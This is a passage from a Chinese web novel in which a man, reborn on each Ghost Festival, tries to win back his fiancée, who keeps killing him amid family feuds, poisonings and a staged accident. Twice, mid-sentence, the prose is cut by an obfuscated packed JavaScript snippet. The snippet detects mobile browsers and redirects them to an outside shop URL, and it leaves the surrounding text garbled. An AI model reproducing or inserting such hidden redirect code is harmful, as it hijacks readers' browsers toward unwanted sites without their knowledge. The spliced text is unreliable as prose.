边永沙冷笑一声:“为了孩子?正好相反,你都是为了自己,孩子只不过是你达成目的的工具罢了!你是看准了卓总容易轻信,蔡夫人身体不好,两人只有一个独女,想假借两家联姻来并吞卓家的财产,你这种伎俩在江湖上不算创新,叫做吃绝户!你从举家搬来这个小区,到处心积虑撮合两个孩子,再到让两个孩子合伙开公司,从头到尾都是一个卑鄙无耻的阴谋!” 此言一出,如惊雷炸地,在场众人都目瞪口呆。 你也难以置信地看着我,急得眼泪都快要流下来了。 谢长卿仍在强辩:“边永沙,你不要无凭无据地血口喷人,什么叫吃绝户,天迪这些年天天往卓家跑,对卓总的话比对我的话还要上心,你怎么不说天迪这是倒插门?” 卓贤豹却长叹一声,选择不再轻信:“谢长卿,我以前以为你是宽宏大量,能容人所不能容,现在才发现,你根本就是厚颜无耻。行了,我知道你心有不甘,但是我们这一代的恩怨,就留在我们这一代,千不该万不该,不该把孩子牵扯进来。麻烦你自行离开吧,给自己保留一点最后的颜面。” 话说到这个份上,谢长卿只得悻悻告辞,却仍不肯放弃:“卓总,今天闲杂人等太多,我们改天再议。” 谢长卿出去之后,卓贤豹接着对你说:“雯佳,天迪是你的朋友,不方便由我来下逐客令,还是你来开这个口吧。” 你的眼泪瞬间夺眶而出,泪眼汪汪地盯着我,却一句话也说不出来。 我不忍心让你左右为难,主动说道:“雯佳,我对你的爱是真心的,你爸今天在气头上,我就先回家了,相信我,只要我们两个人真心相爱,没有什么外力能把我们分开。” 我恋恋不舍往外走,走到门口,你终于控制不住自己,大声喊了出来:“天迪,别走。” 我停下脚步,转回身体。 你一边流着眼泪,一边犹豫着向我走来。 卓贤豹却大喝一声:“雯佳,你冷静一点!” 你进退两难,呆站在了客厅正中央。 突然,毫无征兆地,客厅天花板正中的巨型水晶吊灯悄无声息地当头坠下,眼看就要正正砸上你的头顶! 我惊呼一声,不及细想,飞身向你扑去。 我将你扑倒在地,却将自己的后背暴露给了坠落中的巨型水晶吊灯。 我只等着承受巨型水晶吊灯的重击,准备好了承受脊柱被砸断的巨痛,结果却什么也没有发生。我疑惑地抬头回望,这才明白,关键时刻,是法永信挺身而出,一个箭步奔到,只凭一对肉掌,硬生生将巨型水晶吊灯推开了半米。 巨型水晶吊灯紧挨着我的身躯坠地,轰隆隆哗啦啦一通巨响,摔成了一堆大大小小的玻璃碎碴。 你和我都毫发无损,反倒是法永信的两只手被划出了几道血红的伤口。 我起身查看落地的吊灯,看不出固定背条有什么问题,但是电源线火线零线的断口都整整齐齐,我一看就认定明显是被人蓄意剪断。 我毫不犹豫毫无理由地就将怀疑指向了边永沙,怒不可遏地向他猛扑了过去。 我远比边永沙身高腿长,虽然知道边永沙学过武功,却也并不怕他。 我右手一个直拳直奔边永沙的鼻梁,边永沙下盘纹丝不动,上身轻摇,伸出一只右手顺着我的右臂如杨柳轻拂,我便稀里糊涂冲到了他的身后。我一拳打空,愈加恼怒,回身再打,他却如法炮制,又将我送回了原处。我咆哮着不断冲击,却根本伤不到边永沙,他原地未动,只用一只手便耍得我围着他团团转。 我正要再次冲击,忽听到法永信瓮声瓮气的声音:“好一招心如止水,这位施主,你的正心经传承自泽心寺哪位师傅?” 边永沙冷言讥讽:“可笑,天下武功就只有你们泽心寺一家不成?你只凭我三招两式就敢妄言我用的武功是泽心寺的正心经?” “施主不要诡辩,如果你报不出师承,那便是偷师盗版,就别怪贫僧出手了,贫僧责无旁贷,必要为泽心寺打击盗版,清理门户!” 法永信话既出口,拳风便到。边永沙一看这和尚的架势,就知道他功底深厚,不敢怠慢。两人各自施展本领,打在一处。 这边边永沙个子瘦小,那边法永信却异常高大魁梧,两人对战,看似猛虎搏羊,鲁智深大战林黛玉,胜负毫无悬念,真正打起来,情势却并没有那么简单。法永信虽势大力沉,步步为营,边永沙却身形矫健,腾挪有据,丝毫未落下风。 两人正在客厅里斗得难解难分,忽听得一声怒吼:“住手!” 两人闻声各自后跳一步,脱离了接触。 边永沙听出喊停的是卓贤豹,遂将脸转向卓贤豹,不料卓贤豹抬手就一个巴掌扇向边永沙,边永沙本能地作势躲闪,转念一想,打他的是自己的老板,便硬生生用自己的半边脸接下了这一巴掌。 啪的一声脆响,边永沙的脸上留下了清晰的五指印。 边永沙挨打归挨打,心中却并不服气:“卓总,你怎么会帮外人打我?!难道你也怀疑我给吊灯做了手脚?!” “放肆,谁是外人?!你还强辩,就算给吊灯动手脚的不是你,吊灯无故坠落,你敢说自己没有责任?再有,眼看着吊灯就要砸到雯佳,你为何见死不救?为何反倒是你口中的外人及时相救,雯佳才大难不死?!” “我当时距离太远。”边永沙仍是不服。 “放屁, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030624|194538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你站得比天迪远多少?你的身手好过天迪十倍,救命的时候不用,都是用来打架的吗?” 边永沙这才无言以对。 我这时才略微冷静下来,心中暗暗分析:首先,我相信边永沙断不会蓄意对你不利,边永沙的目标肯定在我,那么他就要算准了我会舍身救你,虽说这并非全无可能,但是也未免过于上帝视角。其实回想我第一次见到这个大得像小山一样的吊灯,当时就怀疑它随时会掉下来,所以,难道边永沙是被冤枉的?这只是一场意外?但是卓总骂的也有道理,爱女差点被砸死,边永沙作为保镖,这样的事故他肯定难辞其咎。更何况,他确有见死不救的嫌疑,只不过卓总认为边永沙见死不救的是他的爱女,而实际上边永沙见死不救的却是我。我推测,那一瞬间,边永沙肯定不自觉地预判出了被砸死的会是我,而他潜意识里面喜闻乐见我被吊灯砸死的一幕,电光石火之间才犹豫没有及时出手。只是这样复杂的心理活动,边永沙几句话是解释不清楚了。 卓贤豹见边永沙不再反驳,便认定了自己的判断无误,对边永沙心灰意冷:“边永沙,卓家待你不薄,关键时刻最能考验你对卓家是不是真心回报,你太让我失望了,你,走吧。” 一贯比较冷静的边永沙此刻被卓贤豹彻底激怒:“卓总这话什么意思?你是要辞退我吗?我从不记事起就给你们蔡家和卓家打工,这么多年没日没夜,忠心耿耿,你一句话就想打发我走?!” “放心,我会按照每多工作一年就多赔一个月,足额付给你补偿金,你说得对,你是从蔡家跟过来的,我也不想多跟你说话了,你去找蔡文君帮你算钱吧。” 边永沙见多说无益,满面怒容不辞而别。 卓贤豹接连赶走谢长卿和边永沙,心情也不好受,转向法永信:“永信,陪我出去喝几杯吧,顺便聊聊你的项目。” 就这样,几出闹剧结束,偌大的客厅,又只剩下你我二人了。 以为今天的晚餐有客人,因此卓曼罗做了一大桌的冷热西餐,结果,又是只有我们两人享用。 我们两人各怀心事,默默用餐,餐厅里只有刀叉撞击盘碟和切割肌肉的声音。 卓曼罗用托盘端来两杯饮料,不出意外,又是你最爱的冰红茶。 一杯冰红茶摆放在我的面前,仍是杯底四个冰块,水面一片柠檬。 我瞬间想到你的小说,二话不说,赶紧用勺子将四个冰块都捞了出来,丢在一个小碟子里。果然,四个冰块并非纯净的透明,而是透着可疑的暗红。 你停下刀叉,冷眼看着我做完这一切,沉默了几秒后,你开了口,开口就是发难:“天迪,你这是怕我给你下毒吗?” 这话怎么接呢,我不单怕你下毒,还怕卓曼罗下毒,怕边永沙下毒,哦,不对,还好边永沙应该以后永远都没有下毒的机会了。 因为自以为刚刚消除了投毒的隐患,我的心情还算不错,陪着笑耐心解释:“怎么会呢,我的身体这几天不太舒服,我是怕冰。” “哦,我一直以为,我们两个人中,我是身子弱的那个,万万没想到,你才是林黛玉。快点吃吧,趁着天还没黑,游泳池里水还热着,我们还有个仪式没有完成呢。” 天还没黑,但是一轮清冷的圆月已经急不可耐跳在了半空。 你跟往年当日和今天下午一样,背靠着池壁站在水中,不同的是,你现在的左手无名指上,已经套上了我送给你的订婚钻戒。 你凝望着我沉默不语,脸上五味杂陈,眼中似雾似泪,左手无名指好像还不适应那枚钻戒的存在,指尖下意识地在唇齿间摩挲着。 虽说如今仍是夏天,但今日的水温明显透着丝丝凉意,而我的心情更是降至了冰点。 不等你先开口,我忍不住发问:“今天是我们订婚的日子,你能开心一点吗?” “你真的明白自己在承诺什么吗?” 15. 第七杀 “同甘共苦,永远相伴,不论贫富,不论贵贱,不论健康还是疾病,不离不弃,”我坚定地回答,“生死与共!” 你追问:“如果哪一天我疯了呢?每天打你骂你呢?又或者傻了呢?根本认不出你呢?” “那是心理的疾病,不管是生理疾病,还是心理疾病,都不会让我放弃你。” “如果哪一天是我要主动放弃你呢?” “那我也绝不放弃,相信你终会回心转意。” “如果,你始终无法给我,我真正需要的爱呢?” “你到底需要什么?” “我只要你一颗真心!” “真心就可以吗?” “你连真心都不肯给,还能给更多吗?” “对不起,多给我一点时间,明天会更好,相信我明天一定能给你更多。” “我要的不是更多,是全部,是全部的真心。” “我是你的,我的真心是你的,我的一切都是你的,我愿意为你做一切事情,我愿意为你付出一切。” “好吧,吻我。” 我们再次在水中深吻,四目紧闭,两舌缠绕,交换着津液。我们今天刚刚订婚,却又遭遇了重大的变故,因此我们的亲吻,既神圣,意味着永恒的承诺,又满是悲壮,未来充满变数。 我满以为自己今天排除了中毒的机会,可当我突然感觉到身体的异样之时,已然浑身酸软无力,原本环抱箍紧你的双臂不觉已经松开。 我惊恐地睁开了双眼,恍惚间黑白无常已经在嘲笑我的自以为是。 你似乎也对我的疲软也有所察觉,猛然睁开双眼,幽怨地回望我,从我身后抽回双手,用力推向我。 我用尽全部力气试图捉住你的双臂,但是我的双手,从你的背后,滑到你的上臂,再滑倒你的前臂、你的手腕、你的双手,却始终未能抓紧任何东西。 最后,我的身躯后倒,双手还维持着前伸的姿势,我的右手和你的左手之间拉出一缕血丝,在水中划出一条淡红的弧线,越拉越长,越远越细,那是我的手心被你的钻戒划出了一道伤口。 你的声音像隔着一个时空那么飘渺。 “你不爱我!我不会相信你的!你对我的爱,肯定不是真心的!” 能做的都做了,我已经尽力了,却无法证明自己的真心,无法赢回你的真爱。 这次我彻底绝望,彻底死心了。 我还有明天吗?明天还会更好吗? 以上已经是我第六次死在你的手上。 忘川冰封。彼岸花开。地狱无门。 瑞不忒杠乂复。 再见你惊喜的笑容时,已经是2013年8月21日,又一年后的中元节。 不知道我在地狱都经历了些什么,总之我还是又重生了。这说明我的执念未死,希望尚存。 只是,希望究竟在何方? 我重新闭上双眼。 我今年已经24岁了,大学毕业已经两年,已经过了那种飞蛾扑火一般冲动行事的年纪了。 虽然这已经是我第七次重生穿越,但是我知道,一次重生穿越机会价值十亿功德积分,每次重生穿越都可能是最后一次,配得上我最大程度的珍惜。 人杀我一次,是人可恨。 人杀我两次三次,是我可怜。 人杀我四次五次六次,这可怜之人就必有可恨之处了。 我没有重生的经验,但这肯定不能成为借口,毕竟这世上能有几个人会有重生经验呢?我不得不认真思考了。 总结过去六个中元节的遭遇,我当下面临的困境就是:我只有一天的时间来证明自己对你的爱,赢回你的芳心,倘若失败,我所要付出的代价便是生命。 然而,我之前未曾想过,除了证明我对你的爱是真的,我还有另外的选择,实际上,我目前一共可以有四种选择。 A:证,证明我对你的爱是真的。 B:解,破解你的杀机,拆解你的杀招。 C:逃,逃避你,我如果现在就逃回家去,岂不就能躲过这一劫了? D:辩,说服你,即便我对你的爱不够真,但也罪不至死吧,而且为什么不能给我更多的时间来证明自己呢? 我以前一直执着于A、B两种选项,从来也没有考虑过还有C、D两种选项,选C本质上是做逃兵,我不甘心,但选D有没有可能呢?我应该找个机会,和你好好谈谈。 我正在盘算着呢,腮帮子被你啪啪拍得生疼:“天笛,别装死啦。” 我重新睁开眼,注意到你打我的左手的无名指上还戴着我送你的订婚钻戒,我暗自给自己加油:“天笛,起来,迎接第七次挑战!” 我从地上一跃而起。 守在别墅门口等着我们的只有卓曼罗,边永沙已经不在了,我猜想,多半真的被卓贤豹赶走了吧。 我选择先不告诉你实情,而是先通过闲聊了解这一年你我的变化。 我们的爱情故事最前面又少了两年,我们家初中一年级才搬来这个小区,那时我们已经开始发育,情窦初开,所以我们已经称不上是青梅竹马的关系了吧。 我们今年二十四岁,十二岁相识,所以我们的人生正好一半有彼此,一半没有。 你这一年还在读研,而我一直在一个人折腾那个子虚文学网。 我草草吃了些卓曼罗准备的鲜果切,便急着要回自己家,我要亲自直接查看自己这一年的生活记录。 七分钟的车程,你骂了我420秒,因为我一步都不认识回家的路。 这是一个超大小区,别墅区和高楼区之间似通非通,你家在别墅区,我家在高楼区。 这次我开的是你的雷克萨斯混动轿车,我没有自己的车。 我家的条件也还不差,200多平米,四室两厅,只是跟你家相比,应该是算不上门当户对了。 我们进入我的卧室,照例先温存了一会儿,我才打开自己的笔记本电脑,从浏览器的收藏夹试图打开子虚文学网,浏览器却弹出报错信息:你访问的网页被外星人劫持了。 我试图用SSL工具访问免费租用的服务器,却怎么也连接不上。 我正在纳闷,电脑叮了一声,提示我收到了一封新邮件。我打开邮件查看,原来我免费租用的空间已经到期多日了,公网连接已经中断,如果今天24:00之前不能付费,软件和数据将会被全面清空。 白忙了几年的项目,终要归零了。 我原本打算看看,卓曼罗的小说有没有什么新剧透,现在计划也落空了。 我非常失落:“雯佳,其实这个项目用不着上亿,也用不着几千万,一百万就够起步了。我们两边父母就算拿不出一千万,不会连一百万也拿不出来吧?” “天迪,我的意见你是知道的,但我还是希望你放弃创业,去我爸公司打工,我毕业了也去我爸公司,这样我们就能像在中学时候那样朝夕相处了。当然啦,你如果不死心,我也不能强迫你,只是我必须提醒你,我爸虽然喜欢你,但是他跟你爸的关系已经闹得很僵,所以你指望他们两个人合作投资,那完全是不可能的了。” “一百万,或者再少一点,几十万,我爸总能拿得出来吧?” “坦白说吧,你家的财务状况云山雾罩的,比谍战片还神秘,我看不出希望。” “我试试看吧,总要努力一下才能完全死心。” “欸,你自己的爸爸,你自己试试看好了啊,也不用一直问我啦。” 谢长卿正在书房整理书柜,见我们两人进来,十分高兴:“天笛,稀客啊,今天有空来看我啦?” 我尴尬地接话:“爸,我重新算了算我们那个项目需要的投资,省着用的话,起步阶段一百万就够了,实在不行……” 谢长卿却打断了我:“停停停,你这是想打你爸爸的主意吗?别白费心机了,看你也不是创业的材料,不如脚踏实地去雯佳父亲的公司工作吧。雯佳,正好你过来看一张老照片,猜猜看哪位是你母亲。” 谢长卿递给你一张旧彩照,你顺利指出了你妈,谢长卿满意地点点头:“一眼就看得出来,全班最漂亮那个,鹤立鸡群。” 我也凑过去看,老实说,全班最漂亮那个是我爸谢长卿,乌发粉面,唇红齿白,比所有女生都还更漂亮一筹。 我看着谢长卿深情凝视着照片的眼睛,脑子里面灵光一现,口不择言说道:“爸,您莫不是跟蔡阿姨有一腿吧?” “这孩子怎么说话如此粗鄙,那叫情窦初开。”谢长卿这话脱口而出才想到你也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030625|194538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在场,颇为尴尬。 不过你倒是处之泰然:“谢叔叔不用介意,我和天迪也都是大人了,我听我妈说过一点,正好今天听您详细讲讲。” 原来,从高中起,蔡文君和谢长卿就开始谈恋爱了,到了大学阶段,两人已然如胶似漆、山盟海誓,但两人始终相敬如宾,没有捅破最后一层窗户纸。不料,花花公子卓贤豹看上了蔡文君家的财产,也开始猛烈追求蔡文君。蔡文君百般拒绝,他竟然设局灌醉蔡文君,导致蔡文君怀孕,蔡文君的父母发现后,因为嫌弃谢长卿出身贫寒,所以不仅没有报警,反而顺水推舟逼迫蔡文君与卓贤豹成婚。 我忍不住说道:“这么说,是卓叔叔先对你不仁不义?难怪他那时说你宽容大度,确实啊,一般人哪里忍得了这种夺妻之恨。” “也算不上夺妻之恨,只能怪我自己家世不好,配不上你蔡阿姨。不过话说回来,卓家的财富其实也远远配不上蔡家。雯佳,别怪我实话实说,卓贤豹并不像我一样对你妈一片真心,我觉得,他只不过是看中了蔡文君是家中独女,他自己才是那个阴谋通过婚姻篡夺蔡家财富的人。” 陪你午休时,我忽然想起一事:“对了,之前听你说起,你妈妈也曾经被上一辈指腹为婚,但是你没明说是跟谁,难不成就是跟我爸?” “你妈没跟你说过这个事情吗?” “没有啊,我妈也知道?” “上一辈的恩怨,我们这一辈还是别搅在里面了吧,理不清的。” 两个年轻人在单纯的欢爱中短暂地忘却了烦恼。 这是世界上最大的快乐,却不需要任何成本,我只需要你,你只需要我。 卓曼罗叫我们下楼去喝下午茶时,卓贤豹和边永沙竟然都在餐厅,只不过两个人各吃各的,闷不作声。 卓贤豹见到我们,劈头就问:“雯佳,你上午去见谢长卿了?他是不是跟你说我坏话了?” 你本想胡乱搪塞过去,见边永沙在场,吃不准卓贤豹已经掌握了什么情况,只得如实将谢长卿的故事复述了一遍。 趁着你讲故事的空当,我将杯中的四个冰块都捞了出来,摆在小碟子里。 我这才注意到,今天的四个冰块做成了獭兔的形状,四个一模一样的猩红色的可爱獭兔,横七竖八卧在白色的小碟子里,很有情趣,很是无辜。 只有卓曼罗注意到了我的动作,神情有些惋惜,有些不满,有些幽怨。 这时,你的故事正好讲完,卓贤豹听完你的故事便破口大骂:“谢长卿这个卑鄙小人,他自己心怀鬼胎,贪图蔡家的财产,居然恶人先告状,反咬我一口。文君那时候年纪小,谢长卿他无非就是靠着一张小白脸,迷了文君的心窍。他自以为是,认为自己不需要占有女人的□□,就能占有女人的灵魂,这才坐失良机。幸亏文君爸妈及时看穿了他的阴谋,求我爸妈让我出面搭救文君。文君虽然爱我,但是又心软摆脱不了谢长卿的纠缠。若不是我得了文君爸妈的尚方宝剑,先下手为强,差点就被谢长卿这个小人得逞了。” 我听着有点懵,按卓贤豹的说法,我爸谢长卿是狼子野心的奸人,他卓贤豹倒是舍己救人的英雄了。 你却质疑:“不管怎么说,确实是谢叔叔更加尊重我妈吧?” 卓贤豹嗤之以鼻:“什么尊重,贾宝玉都说了,情淫才是至淫。谢长卿高中时候自己亲口说的原话:玩弄女人感情,比玩弄女人□□,好玩多了。” 如此高论让你和我都听得瞠目结舌。 卓贤豹也觉得自己说多了,就此打住:“我不跟你们废话了,总之你们提防那个谢长卿。天迪,你是个成人了,你爸是你爸,你是你,你好好对雯佳,别怪我没给你机会。对了,你考虑得怎么样?你那个项目搞不成的,有你爸的影响我也不会投资了,你别浪费青春了,不如还是干脆来我公司帮我吧,” 你插话:“爸,天笛想好了去你公司了。” 卓贤豹很高兴:“好啊,天笛,你从底层做起,一步步走踏实了,我不会亏待你的。”说完便站起身来,“边永沙,你的事情直接找天笛和雯佳聊吧。我有急事去找法永信,先撤了。” 卓贤豹一走,你就问边永沙:“边叔,我爸和天迪爸爸的说法大相径庭,你在我们家这么久,可知道谁的说法更可信?”